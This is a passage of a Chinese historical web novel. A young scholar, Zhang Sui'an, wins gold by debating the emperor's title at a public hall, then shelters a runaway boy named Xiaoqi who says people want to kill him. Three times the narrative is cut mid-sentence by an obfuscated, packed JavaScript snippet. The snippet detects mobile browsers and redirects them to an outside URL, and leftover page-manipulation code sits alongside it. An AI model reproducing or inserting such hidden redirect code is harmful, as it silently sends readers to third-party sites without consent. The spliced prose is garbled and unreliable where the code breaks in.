徐秋还瞬间脸一红:“你莫要乱说,子康哥哥与我还未成亲呢!” “迟早的事,娘胎里就定好的,你说是吧?”江崇刻意学着徐秋还的语调,凑到张岁安身边,“子康哥哥~” 张岁安懒得搭理他,抬手拂袖,把棋子一粒一粒地收捡回棋盒中。 他如今长大了,也沉稳了,深邃的眉骨下,一双桃花眼总像是藏着心事,半喜半忧,亦怨亦嗔。 也不知是不是小时候的那场怪病夺去了他半身精气,明明是年及弱冠的男儿身,却生得肤若凝玉,又白又透,远远看去,青丝披肩,好似一位香肌软骨的佳人,藏在华贵的儒袍之下。 “看书的,下棋的,都停一停,来尝尝后院新做的茶酥。”苗夫人招呼着。 徐秋还上前福身谢过苗夫人后,食了一口盘中的酥饼,弯眉笑道:“夫人的手艺越发好了。”她顿了顿,语气中添了几分兴味,“说起来,眼下又到月初了,听说州郡举荐名额紧俏,许多才子都从地方来了绥京城,这个月的明堂评,定是要比往日更加热闹。” “哟,你还关心这些?”江崇一口酥饼还没来得及咽下去,就忙着讥讽,像是方才被徐秋还呛了一嘴,硬是要找机会堵回去。 “为何不能关心?”徐秋还捧起茶盏,慢条斯理地抬袖饮了一口,“听说今年有位吴郡才子,作了首《三江赋》传得沸沸扬扬,若是来参评,说不定能压过去年的榜首呢。” 江崇闻言嘟囔着:“一群拽文弄墨的人吵架,有什么好看的。” 徐秋还没理他,只眼巴巴地转头看向张岁安,就差把“我想去看”四个大字写在脑门上了。 虽然明堂未曾言明女子不得入内,但女儿身的装扮毕竟还是太过突兀,躲在几个公子身后,刚好可以神不知鬼不觉地混进去。 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445013|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岁安这阵子忙着整理太学学子的档籍,也迟迟没有抽出时间去看看这绥京城中赫赫有名的明堂评,既然阿秋想去,反正自己今日也空闲。 “左右也是闲着。”他将棋盒规整整齐后,瞧了一眼江崇,故意揶揄道,“既然是文人吵架,那自然是要去的,也好帮你补补脑子。” 江崇:“……” 绥京城中的明堂,最初只是士家大族的文人雅客评点字画诗文的场所,后来因乱世之局,慢慢演变成了对四洲局势及当朝时政的论议之地,每月初时,各方名士皆会聚集在此,点上一壶好茶,见四方之人,听天下之言。 起初,还只是名士儒生们公开评议,随着士林群体的传播,渐渐的,许多权贵政客也隐姓化名来此,遇见志同道合才学斐然之人,便招为自家门生,送其登上青云。 每到这种文人开大会的时候,商贩们也是闻着味道就来了,各种打点,就为了能在明堂外的街市上占一个上好的摊位,随便卖点文房四宝,再蹭上某某才子的同好珍宝之名,便能瞬间售罄。 “好多人啊,女公子。”贞儿随徐秋还穿着一身男儿装,看着人山人海的街市,怯怯地躲在自家女公子的身后。 “嘘,叫公子。”徐秋还低声道。 江崇随口冲着侍从说:“阿升,去里头报名号,就说张府的公子来了。” “等等。”张岁安用手中的竹节折扇拦住阿升,顿了顿道,“还是不要声张。”接着他从袖口掏出钱袋,递给身旁的彭吉,“彭吉,你去里头问问,还有没有空余的雅座或厢房,要带帷帘的。” “是。”彭吉揣好钱袋,匆匆往里去了。 他们来得晚,堂内早已人声鼎沸,上好的厢房都被人提前订去了,只剩下二楼的一方雅座。这个位置离堂下不近不远,看不太清众人的样貌,却又能听见楼下那股吵吵嚷嚷的热乎劲儿。 堂下两个文人才子已经绕着案上的赋文评说争辩起来了。 “此赋字字有据,概三洲之盛况,乃图经之典范,当传千古。”文人甲朗声道。 “此言差矣!”文人乙抬起衣袖,言之昭昭,”所谓有据,不过是堆垛方志而已,辞藻华丽,却是隔帷观物,只见锦绣,不得筋骨。” 文人甲闻之嗔道:“那依文德兄之言,何为赋之筋骨啊?” 文人乙长袖一挥,将手上那柄包浆的木骨折扇“唰”地一展,愣是挥出了几分裂帛断金的气势来:“照在下看,写南疆,就不能只写那王室卉服象齿,而不记山民凿石为田之智;写北朔,就不该只夸宫阙琉璃,而不书北民饮血戍边之苦。” 他话锋一转,目光扫过堂下众人,声量陡然高了几分:“尤其是写我东袭,一味地赞那绫罗鱼鲜,朱门酒肉,内忧外患民生艰苦只字不提,美则美矣,再美也是琉璃盏中景,粉饰太平之赋,竟然还被捧成这般模样,真是令人心悲啊。” 这两人辩得热火朝天,听得楼上的江崇脑瓜子疼,他一口闷掉瓷杯中的茶:“一个个文弱书生,吵起架来,居然比校场的骂阵还凶。” 张岁安慢条斯理地品了一口杯中的茶,茶汤微微发涩,不似新茶那般清甜回甘,反而带着一股不易察觉的沉滞感。 他转头看向侍立的伙计问道:“这茶可是今年的新茶?” 伙计躬身应话:“是,上个月刚从茶政司批购来的,是一等一的新茶。” 四洲之中,唯有袭国有专设的茶政,只因其盛产茶叶,天下闻名,尤其是春茶。 每年的新茶都是先入官仓核验,再由茶政司统一批卖给茶商,且禁止茶商私自向茶农进货。 新茶和陈茶的批次不同,新茶为甲等,而陈茶则次之,价格自然也差上好大一截。 张岁安手里的这杯茶,陈味极其细微,除了常年喝同一品类的懂茶之人,旁人或许尝不太出来。 他望着杯中浮沉的茶尖,眉间微蹙,正思忖入神时,明堂之上忽然响起了三声铜铃的鸣响。 5. 乱世评(下) 明堂素有旧规,铜铃声响,意味着有人花了银子,花钱者可提一问,让众人为之一议。 “噤声。”明堂主事之人朗声道。 随着铃响声毕,一名小厮捧着竹盘缓缓从高座的雅间后走出,竹盘之上,放着一枚明晃晃的金锭,金锭压着的,便是那雅间中的人想问之事。 “我们家老爷有问,明堂之中若有能答者,这便是赏金。” 主事走上前去,眼神落在那一枚金锭之上,轻轻拿起一看,底下烙着官印,说明这座上之人,若非公卿,便是王室,他静静地放下那枚金锭,拾取盘中的竹笺,定睛一看,上面所问之言,更是让他倒吸了一口凉气。 “所问何事啊?”众人之中,有人见主事久久不言,不免好奇地问道。 主事看了一眼小厮,轻声问道:“可否问一句尊驾姓氏?” 小厮淡淡道:“不是什么大姓。” 主事见他不想回答,便也不敢多问,只是这竹笺捧在手心,就像烫手山芋似的,扔也不是,放也不行。 小厮见主事犹豫,进而又道:“听闻明堂评议,不避权贵,不讳天家,怎么?这等民间小谈,却不敢议了?” 主事顿了顿,旋即转身,冲着众人朗声念道竹笺上的字:“此问是,帝乃天帝,非人主之号乎?” 众人皆是一怔,刚才还窃窃私语的堂下,瞬间哑然一片。 这一问,问的是当下最荒唐,却又最敏感的话题。 如今天下四分,北朔刘帝以其君权受命于天自称为帝,但国力能与之相抗衡的南疆却因崇尚天神,认为凡人之躯不可僭越帝称,南疆国主只称王而不称帝。西伥草原蛮子各自占地为王,好几个政权都算不上统一,零零碎碎的王有好几个,自然也无人称帝。 东袭作为四个政权中,国力不算强,但位置却最尴尬的那一个,依然保留了祖上留下来的帝称,又恰巧挤在北朔和南疆的中间,显得十分尴尬。于是,民间便有了如此荒诞自颓的言论。 可这毕竟是民间小谈,不登大雅之堂,更不会有人敢将其拎到台面上来评议,国之帝皇,因为惧他国之威势,便去帝称王,那与亡国有何区别? 一时之间,方才还熙熙攘攘的明堂之中,竟无一人敢随意开腔。 半晌后,雅间中的小厮又出来了,在原本的金锭子边上,又放了一枚,见还是无人说话,便一枚又一枚的加,放到第五枚的时候,人群中开始有了细碎的讨论声。 毕竟这明晃晃的五枚金锭子,都可以在绥京城郊买上一套小院了。 “此言非也。”堂下一位年轻儒生喊道,“帝号乃祖宗之法,乃大袭山川所认,若无圣祖,便无大袭,帝号不存,国将不国。” 他身下另外几个学子也跟着应和道:“是啊,帝号不存,国将不国啊。” 小厮顿了顿,回了雅间,片刻后又出来了,站回了原位上,继续往那竹盘上放金锭子:“我家老爷说,这不是他想要的答话。” 眼见着竹盘上的“京郊小别院”,一锭一锭地变成了“城中大庭院”,堂下的才子们更是按捺不住了。 反正只是评议,又并非真的要圣上去除帝号,寒门学子们本就一无所有,搏一搏说不定就能少奋斗大半辈子。 终于,刚才吵得最凶的那番辩论中,那个被称作文德兄的人忽而开口了:“雅间中的贵人,出手如此阔绰,真的只是想听我等说一句肺腑之言吗?” 小厮传话道:“公子但说无妨,今日之言,仅留于堂上。” “好。”这位文德兄冲着雅间的方向微微作揖后,不疾不徐道,“鄙人认为,此言虽偏激,却不无道理。战国时,魏国与齐国互称王号,联手抗秦,而秦为了拉拢魏国,尊魏王为西帝,魏王为避此锋芒,主动去除帝号,后与诸侯联手抗秦,秦王见势不妙,随即也取消了帝号,以退为进,看似妥协,实则却是审时度势的权宜之策。” 他话音刚落,楼上就突然炸响一声怒喝:“胡扯!” 众人的目光纷纷投向那高声之处,只见二楼的雅座之上,帷帘后腾地站起一位精壮的少年人,他朗声嚷道:“这种话都说得出口,我看你根本不是什么文人学子,而是北国来的细作!” “阿升。”张岁安眉头微蹙,连忙给江崇的随从递了个眼色,“还不快让你家公子坐下。” 可阿升哪敢啊,最多是扯了扯江崇的衣角,小声劝道:“公子啊,张家公子让你坐下……” 只是江崇还没来得及坐下,那位叫文德兄的人又补上了一句:“这位公子,此处是明堂,四洲之人皆有往来,百家学说皆可辩议,何来细作一说?” 他不说还好,这一说,江崇更是火冒三丈:“你方才那意思,不是摆明了要圣上去帝称王吗?敢说这等亡国论言,不是细作,是什么?” 那文德兄淡淡反问:“吾等在此论的是帝号,何时曾提过‘亡国’两字?” “你!”江崇擅长动手,却不擅长动口,几句话就被噎得拳头直痒痒,恨不能直接飞下去锤人。 张岁安一把将他拉住:“江云申,你给我坐下。” 这不拉还好,一拉就让江崇想到了身后还有这样一位巧舌如簧的“小夫子”。 “张子康,你来说!”江崇气哄哄道,“你最会说了,快说点好听的。” 堂下之人继而问道:“那位公子可是也有高见?” 张岁安连道:“并无,在下只是……” “他有,他有高见。”江崇一脚踹飞了张岁安身后的竹椅,让他坐无可坐,只能站着。 张岁安本想置身事外,只听不评,但被江崇这么半推半就地卖了出去,也不得不开口说点什么了。 他身在帷幕之后,只露出一方淡影,冲着堂下诸人拱手行礼后,才开口缓缓说道:“在下才疏学浅,也不懂大局,只是前几日读书时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16445014|185064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偶见《尚书》有云,天命靡常,惟德是辅。昔日武王伐纣时,不以帝号自居,而称天子,是因知帝者,乃天之尊号,非尘世主可用。而当今我袭国之困,却不在‘帝’与‘王’之虚名。” 江崇听得似懂非懂,但仍然连连点头,就差要站起来为他摇旗呐喊了。 张岁安语气未歇,继而又引经据典道:“《孟子》曰,民为贵,社稷次之,君为轻。袭国北有山险之防,东有海境之饶,渔盐舟楫之利甲于四方,此乃天授。而东袭之君主,是为百姓所推,山川所认,此乃民意。”他一番话讲得有条有理,像是早就在心中酝酿过一遍,只是碍于身份不便言说罢了,“名号者,表也,社稷与民心,才为实里。” 堂下那位文德兄听罢,沉思片刻后,继而抬头看向那一方薄影问道:“公子答了,又好似未答,那在公子看来,这个帝号,若只是虚名,岂不是去留皆可?” 张岁安摇了摇头:“骤然去除名号,会惹得诸臣动荡,百姓不安,此非良策。依在下薄见,袭国的帝号不可除,帝王之尊永存于世,受香火继宗庙,奉于明台之上,不染世俗尘埃,而政事之谋断,邦交之进退,自有臣子为其鞍前马后,鞠躬尽瘁。” 世人也好,圣人也罢,哪有不忧其美名之人?哪怕是那谏议大夫,天天求死进谏,求的也是以死明志,好博一个千古美名。 而张岁安的这一番话,颇有几分我不入地狱谁入地狱的献祭之意。 他要做臣子,就要做那将帝王捧上高台的臣子,做替圣上扫去一切污秽的臣子,污名脏活,臣子来做,美名香火,都供奉给君主。 此等决心,众人也再无非议。毕竟这话,无论是百姓听了,还是帝王听了,都很满意。 言毕,清风过窗,竹笺微动,那位文德兄听完此言,也抚掌叹曰:“今日听君一言,如拨云见日,公子博学,又心胸豁达,可是哪位高门贵人之后?” 张岁安轻声应道:“在下家道不济,不是什么名门。” “那定是哪位大族的门生吧,可已入仕?” 张岁安:“区区市井草民而已。” 只见先前那位传话的小厮,得了雅间之人的示意,捧着装满金锭子的竹盘朝着二楼走来,将手中的赏金躬身奉到了张岁安身前:“公子答了我家老爷的问,一应赏金,尽数在此。” 小厮虽刻意改了仪态,行礼时却藏不住骨子里的谨肃。 他步伐小而快,目视下方,沉甸甸的竹盘捧在手上,不曾晃动半分,躬身时不似布衣百姓,也不似文人揖客,倒像是宫里习练了千百遍的趋礼。 “愣着作甚?”江崇用胳膊肘顶了顶张岁安,“收了金子,记得请我喝酒啊。” 张岁安回过神来,冲着眼前的小厮拱手回礼,旋即便接过了那沉甸甸的竹盘:“谢贵人恩赐。” 小厮听罢,微微一顿,也未曾再多说什么,转身迈着小步回了厢房中去。 6. 捡贼 张岁安一行人出了明堂之后,徐秋还才长舒了一口气,方才她为了掩饰身份,刻意未曾开口说过半句话,看着他们几人在前面争来辩去,也跟着捏了一把汗。 “子康哥哥,你糊涂啊。”徐秋还嗔道,“你素来谨言慎行,怎可看不出那提问之人身份不一般,若不是高位之人,谁敢在这闹市中问出这种不要命的话来。” “那又如何?”江崇替他辩道,“子康答的又无错处,哪怕是圣上听了,也怪罪不了他。” 张岁安未曾接下两人的话头,还一心沉浸在方才那名小厮的仪态上。 此刻他担心的,早已不是那雅间之人的身份,而是他方才那一番话,若真传到圣上耳中,自己作为张氏的长子,还能不能远离得了朝堂纷争。 正当他细想之时,明堂之中出来一人,跟在他们身后朗声唤道:“公子,公子请留步。” 三人回头一看,正是刚才堂下的那位文德兄,他正一手揽着衣衫,一步一跨地从明堂的门槛中小跑出来。 “见过三位公子。”此人跑得微微喘气,生怕跟不上他们似的,他冲着三人拱手作揖后道,“公子既然不愿表露姓名,那在下就先自报家门了。鄙人姓杜,单名何,字文德,混迹明堂多年,可惜却不曾谋得贵人一荐,公子今日虽未曾报上门楣,但无论是谈吐,还是这一身的丝锦,都非寒门子弟可及。” 江崇对这个杜何没什么好感,更不喜他刚才堂上的那番言论,语气自然也不怎么好听:“你还敢追出来?阿升,给我把他拿下。” 杜何一愣,瞬间跳远半米:“公子这是要作甚呐?!” “我今儿就把你送去刑讯司审一审,看看你是不是那北国的细作。”江崇说着就开始揽袖子,准备自己上手抓人。 “公子明鉴啊,我真不是什么细作!”杜何一溜烟窜到张岁安身后躲着,“你们要是不信,可以去问明堂的主事,他是我的老雇主!” “雇主?”张岁安抬手拦住火气冲天的江崇,转头问向杜何,“你在此处赁作?” 杜何理了理衣衫,挥着手上那柄盘出包浆的木骨折扇道:“是也。这明堂看似才子云集,百家争鸣,实则半数者,皆是明堂主花银子雇来的。” 江崇一听,也露出一副闻所未闻的疑态:“花钱请人到自家场子来吵架,这我倒是头一次听说。” “公子出身高门,自是不懂这民间疾苦。”杜何用扇头指了指明堂里,“明堂主雇人在里面辩经论理,为的是打响这明堂的招牌,引来名人贵客在此雅聚。”接着他又将扇头调转到明堂外的小摊贩身上,“明堂有了名声,这整条街都跟着金贵,凡是在这里买卖的才子同好珍玩,明堂皆有分成,这又是一笔进账。” 杜何将三人引路到自家亲戚的摊位前,用扇头指着摊位上一副其貌不扬的砚台道:“这是我二舅母家的摊子,卖得最好的是这方墨砚,公子可知为何?” 张岁安抚起袖口,拾起那一方砚台,只见上面刻着三个粗糙小字:青云砚。 他放下此物,颔首一笑道:“还恕晚生孤陋寡闻,可是有某位自明堂而出的平民才子,用了此等墨砚后便得贵人举荐,自而青云直上?” “正是如此。”杜何将手中的扇子一拧,往面上扇出一缕清风来。 边上的徐秋还听完,冲着自家侍女贞儿耳语了几句,贞儿又冲着彭吉耳语了两句,彭吉眨了眨眼,又凑到张岁安跟前低声说了两句。 张岁安点了点头,照着徐秋还的意思问道:“如今明堂盛名已极,除了受雇者,想必还是有真才实学之人吧?” 杜何扇子一收,哀声长叹道:“方才在堂上,公子们想必也有所耳闻,北朔昭王广施德政,重金豪宅宴请天下名士,凡是赴宴过试者,无论祖籍,皆有赏职。”他言罢,苦笑一声,“我二舅母远亲家三表叔的四儿子,不过识得几个字,去了北边,竟也谋得了个在公卿家养马的小职,但再看看如今的袭国,说句犯上的话,除了那赵氏一门,靠着这脂粉云梯直上天家,哪里还有寒门才子施展抱负的机遇。若有真才实学,何故要困死在这一方小境。” 这话江崇可不爱听,他眉头一紧,不屑问道:“你说得那北国千好万好,那你为何不去?” “公子是不是想听在下说,吾生是袭国人,死了,自然也是袭国魂?”杜何笑了笑,千般苦水,最终也只能化作两手一摊,“鄙人不才,家中长子,我若走了,无人养家,就是如此。” 他话音刚落,街市那头就忽然炸响一声尖利的嚷骂—— “大郎!快来,逮住他!” 杜何闻声一愣,随即眯起眼往人堆里望:“二舅母?” 众人顺着他的目光往那嘈杂中看去,只见一青布短褂的妇人挤在中间,死死拽着一半大小童的胳膊,叉着腰杆高声诉道;“就是他!这个小贼偷我钱袋,大伙儿都瞧见了吧!” 杜何先行冲上去,拨开看热闹的人群,张岁安一行人也随之跟了上去。 只见人堆在街市中央围开一圈空地,空地上的货物被人撞得落得七零八碎,妇人拉扯着那个小童,边拽边骂道:“我一日才赚五十钱,这小贼竟给我全偷去了,险些害得我孤儿寡母没米下锅!” “二舅母,人都抓到了,你就别嚷嚷了,别家还要做生意呢。”杜何挤到跟前,连声劝道,深知自家二舅母是这片街上嗓门最大的一个,逮着点小事,恨不能嚷得满皇城都知道。 “这小贼不仅偷我银钱,还撞坏了我这么多货呢!”二舅母显然不肯就这样放过那小贼,非要拎着他去京兆尹评评理。 只是那孩子也不挣扎,就任凭妇人拉扯也不为自己辩白半句,他耷拉着脑袋,一头还未束冠的长发乱糟糟地垂在脸侧,只露出点苍白的下颌,看不清神态。 江崇在一旁抱着膀子看热闹,半眯着眼上下打量着那名小贼:“这小孩虽穿着布衣,身上也脏兮兮的,但却生得白净,手上无伤无茧,我看呐,八成是那朱楼 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小童不言,凌乱的碎发坠在额前,遮住了大半张脸,他抬起眼皮冷冷地看着眼前人,静默之中,却无半分怯意,只有一股子漠然的疏离。 杜何顿了顿,继而俯身又问道:“我看你生得白净,不像是苦人家的孩子,你姓甚名啥,父母可在?” 小童还是半点声音也不肯出,杜何心里纳闷,莫非这是个哑巴。 张岁安见状,几步上前,缓缓蹲下,刚好与小童平视而立,这个不过十来岁的孩子,竟生了一双锐利的眉眼,眉峰似剑,目若寒星,不似凡俗之相。 他头戴一方玄色抹额,却不曾束发,民间旧习中,幼儿戴抹额可以遮挡邪祟,后来逐渐成了一种装点,尤其是朱楼的小倌人,就多有戴那金丝抹额,以示自家小倌年幼矜贵的。 那朱楼乃当朝权贵云集的风尘之地,若这小童真是出自那里,那即便他再如何求人,也免不了还是要被拖回泥潭中。 张岁安望着小童苍白漠然的脸色,竟也被他身上那股隐忍的悲悯之气所感,他轻声安抚道:“你别怕,吾乃当朝太学祭酒家的长公子,若有难处,你大可与我言说。” 小童眉头几不可察地颤了颤,半眯着眼盯了他半晌,却还是没有开口说出一个字来。 “公子,这小孩大抵是个哑巴。”杜何故意压低了几分声音道,“听闻朱楼多有哑妓,还是不要淌这趟浑水了吧。” 张岁安顿了顿,望着小童,声音刻意又轻了几分:“可会识字写字?” 小童一怔,终于微微点了下头。 张岁安旋即摊开掌心,温声道:“若不会说,那便写罢。” 小童的目光缓缓抬起,扫了一圈周围乌泱泱的人群,最终又落回到张岁安身上,他漆黑的眸子闪过一丝微弱的光,好似溺水之人看到了半根浮木。 他定了定神,继而缓缓抬起手,小小的指头落在张岁安温热的手心上。 他一笔一划地写道: “有人,要杀我。” 7. 小七 张岁安缓缓握紧了手心,眼神也随之悄悄环视向周围,他算是明白了为什么这孩子要偷钱袋,还专挑街市上嗓门最大的妇人去偷。 “你放心。”他眼神落回到小童身上,“光禄大夫和司徒家的公子都在,那些人不敢造次。” 说完他缓缓站起身来,冲着江崇招了招手,江崇一愣,两步走上前去问道:“何事?” 张岁安轻声道:“这周围大抵是有朱楼的杀手,这孩子若是留在这里,定是死路一条。” 江崇闻言,定睛一扫,他成日和武人打交道,有身手之人一眼就能看得出来,刚才不曾注意,如今被张岁安这么一说,果然就从人堆里盯见了几个黑衣鬼祟,细看之下,还有几个官差身样的人隐匿其中。 “周围有官差。”江崇转头向张岁安低声暗示道。 说来也怪,这集市上有人偷窃叫骂,乱哄哄的闹作一团,那几个官差看起来像是执金吾打扮,不上来维序安民也就罢了,偏偏一个个还躲在暗处,像是生怕被人发现似的。 “别闹事。”张岁安知道这朱楼明面上的店家姓薛,可这背后的主人还不知是哪路神仙,他们各位朝臣子弟,不好在这闹市上惹这种糊涂官司,“我想着,要不你先把这孩子带回去。” “我?”江崇一怔,瞪大眼睛指着自己问道,“为什么是我带回去?” 张岁安:“江府戒备森严,你带他进府,过几天再找人悄悄送他回家便是。” “我……”江崇越品越不对劲,“那你为什么不带他回张府?” “张府家丁少,家父又不在家中,怕是未必能震慑得住那些人。” “你也知道你家父不在家中啊,你家父不在,我家父还在呢。”江崇指着小童咬牙切齿,“我带一个小倌回去,我爹还不得大棍子把我打成肉馅。” 张岁安循循善诱:“那我陪你一起回去,我去向世伯解释。” “别,千万别,你又不是不知道我家里除了镇山的狼,还有河东的虎,你就算说服得了我爹,我娘那边你也说不清楚。”江崇想了想,旋即道,“这样,我把我府中家兵借你一半,反正两处宅子隔得这么近,护谁都一样。” 张岁安见白嫖之计得逞,露出一抹意料之中的微笑,还故作惋惜地长叹一声道:“那也只能如此了。” 随即他替小童赔了杜何二舅母一些银钱,趁江崇脑子还没转过来时,就带着小童一起上了回府的车马。 当下局势不稳当,尤其是在赵氏族亲担任执金吾之后,绥京城的布防话语权便从士族手中交接了出去,朝中大臣们多有养些定量的家兵部曲,以防动乱将起时,得以自保。 但张府清俭,主君张淮之又是个生怕被圣上抓住把柄的千年老龟,堂堂士家大族的府邸,上上下下加起来,能打的不过数十个,兵器甲胄更是没有,就算是捏成团,恐怕都还不够江崇一人练手的。 在张淮之看来,张府的门楣越弱越好,最好是敞开大门,任由圣上随意查检,最多也就能查出全府上下那最利的器物,只有那后院女眷手里的绣花针。 张岁安就这样带着那名街市上捡来的小贼回了府,幸而如今张淮之不在家,带个小孩回来暂住几天这种事,他这个长子还是做得了主的。 “彭吉,你去后厨问问,替这位小公子弄点吃食,再理出一间干净的厢房来。” “好嘞。”彭吉急匆匆地去准备了。 小童一路上都没有开过口,张岁安猜他或许是真的被毒哑了,但见他能写几个字,便将他带进了书房,端来竹简和笔墨,把简铺开,将墨磨好,推到他跟前。 “你可有名字?”张岁安问道。 小童摇了摇头。 “姓氏呢?” 小童还是摇了摇头。 “那父母可还在,祖籍在何处?” 小童不语,只一味地摇头。 张岁安捞不出头绪,也不禁眉头微蹙,但既然这孩子知道借闹市声势自保,定然还是聪慧的,他什么也不愿说,或许还是因为害怕。 “那些人要杀你,是因为你逃走,还是因为你听到或是看到了什么?”张岁安旁敲侧击地问道。 小童一顿,这下没有摇头了,茫然的眼神中冒出了一丝警惕,似是不想直说。 张岁安看出了他眼神的异样:“不想说?” 小童点了点头。 也是,这孩子才从朱楼那样的地方死里逃生,定是不敢再惹上麻烦。 彭吉在外面敲了敲门,捧着热腾腾的粥食进来了。 “今日时候也不早了,你先吃点东西。”张岁安轻声道。 小童低头看着食物,却只是愣着,始终没有动筷。 “吃啊,吃饭,趁热。”彭吉在一旁手舞足蹈地示范着。 张岁安:“彭吉,他是哑巴,不是聋子。” “噢,对。”彭吉挠了挠脑门,“可是他怎么不吃啊?” 两人看着小童,只见他忽然抬起手,将食案上的粥轻轻往前推了推,又将那副竹筷倒放过来,朝向了对方,冷冰冰的眼神看了看张岁安,又瞥了一眼粥食。 “他这是,在让公子你先吃吗?”彭吉百思不得其解地问道。 张岁安看着小童那副拒人于千里之外的神态,好似也读出了几分他的意思,试探问道:“你怕有毒?” 小童没有说话,森冷的眼眸像淬了冰似的,直直地看着对方。 彭吉咋呼一跳道:“你这小孩,怎么这般不知好歹,我家公子好心救了你,给你吃食,你这小人之心,度君子之腹你你你。” 张岁安:“彭吉,去换一双银筷来。” 彭吉没好气地忍了,跑到后院去取银筷了。 张岁安见小童防人之心如此之重,全然不像是今日才被追杀的样子,更像是那日日都活在暗箭下的人,小心,沉默,步步为营。 “可能你见惯了人心险恶,自是不信这世间还有良善之人。”张岁安叹声道,“但我既救了你,为何还要多此一举下毒害你?” 小童紧抿了抿嘴唇,本就饿得没什么血色的脸上更是灰白一片。 张岁安见他神色晦暗,试探性地又问了一句:“难道说,你曾经也被救你的人,害过?” 小童低着头,几不可察地点了点头。 原来是一朝被蛇咬十年怕井绳。张岁安顿了顿,目光落在那方朝向自己的竹筷上,他抬手拾了起来,夹起食盘中的小菜吃了一口,又用筷尖点了点粥面,抿尝过后,放下竹筷道:“我替你尝了,没毒,你可放心了吧。” 小童缓缓抬起眼皮,晦暗的眼神映出一丝烛火的微光。 接着他抬手将粥捧了起来,顿了顿,直接仰面吨吨喝了个干净。 看得出来,他是真饿了。 等到彭吉从后院取来银筷,书房里的碗已经空了:“不是怕有毒吗?怎么还吃得这么干净。” 张岁安:“再去盛几碗来。” 彭吉免得书房后厨两边跑,直接端来了一个装汤的瓷盆,满满当当的粥,配上几个热腾腾的大馒头。 刚往食案上一放,那小童就跟饿了三天没吃饭似,风驰电掣地将吃食往嘴里塞,直到被馒头噎着了,一个劲地打嗝,也不见他停下来,没一会儿就顺着半缸粥,扫光了大半盘馒头。 彭吉愣在一旁观望着这饕餮之势:“公子啊,这小孩人不大,吃得倒挺多哈。” 张岁安也跟着望而生叹:“想来那朱楼为了让小倌们身姿清瘦,平日也没给过一顿饱饭吧。” 等他吃饱喝足之后,张岁安又让彭吉烧了热水,让他洗沐更衣。 只是这孩子也刁钻得很,不让任何人近身,自己乖乖洗了干净,又穿上了原本的脏衣服,连别人为他准备的干净衣物也不肯沾染半分。 夜深,偌大的张府又只剩下萧瑟的孤寂,庭院中唯有青竹瑟瑟之声。 张岁安向来睡得晚,这阵子父亲不在家中,他便是半个家主。 虽然父亲为了避嫌,一直没有为他举荐官职,可张氏一族的家事,却没有避着他的意思。 父亲张淮之在朝中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张岁安看了看烛台上扑闪的火苗,又看了看他,半猜半就地问道:“你想要那个?” 小童点了点头。 张岁安:“怕黑?” 小童又点了点头。 “那我让下人去你屋里点一盏。”张岁安说着就准备去叫人,却忽然被小童拉住了衣角。 看来他不光是怕黑。 张岁安叹息道:“你不会是想让我陪着你睡吧?” 小童点点头,面上冷冰冰,眼神却可怜巴巴的,像头凄苦的小倔驴。 张岁安低下头,刚好看见对方头顶的那一抹发旋,民间都说发旋朝左转的孩子脾气倔,可见此言也并非空虚来风。 “先进来吧,外面风大。” 张岁安等他进了屋,才轻轻地掩上门,回头一看,这小孩倒是也不见外,轻车熟路地就跑到书案边坐下了,低头看着一堆的杂文书简发愣。 “你识得多少字?”张岁安问完,又想起这小孩不会说话,问他只能问具体的是否,随即改口道,“这上面的字,你都认得吗?” 小童随便展开一卷,定睛看了半天,没有说话,半晌之后,才轻轻地摇了摇头。 张岁安旋即也在他身旁坐下,从案上杂乱的书堆中抽出一方空白的竹简,推到小童身前,又替他沾好笔墨,递给他问道:“你既没有名字,也不记得姓氏,那之前别人都怎么唤你呢?” 小童抬起右手接过那只笔,在竹简上潦草地写了一个字,他的字不是很好认,像是没有正经临过帖,纯靠着自己的一知半解乱练出来的。 张岁安把竹简反过来看了半天,才看出来那是一个“柒”字。 “七?”张岁安顿了顿,随口说道,“说不定这是你的行第,看来你家中还有其他的兄弟姊妹。那我以后,就叫你小七,如何?” 小童一怔,似是被这一声“小七”给唤出了神魂。 接着他垂下头,喉咙微微鼓动,咽了咽唾沫,忽然沉闷地开口说了一句话: “母亲,也这样叫我。” 8. 生死梦 原来这孩子是会说话的。 只是他为何装哑,张岁安也不得而知,或许是因为被吓着了吧。 他席地而坐,将案上的书简一一整理归档,再搬起来放回书架上,一来一去,再回头时,小七已经趴在案上睡着了。 看着这小孩安静地趴在那里,烛火映着他的眼睫,小小年纪,眼下却青黑一片,似是平日都未曾睡过好觉,此刻蜷成一团伏在张岁安的案上,倒是沉得跟睡在自己家里一般。 张岁安也不好将他弄醒,只是找来枕席,在地上铺展开,然后轻轻地托着小七的脑袋,放在软枕上,掖好被角,免得他夜里受风。 烛火似乎也有些太亮了,但这小孩又怕黑,想来想去,又去柜格中取来一个带灯罩的铜制烛台,重新换了火烛后,淡淡的光从镂空花纹里漏出来,既不昏暗,也不刺眼。 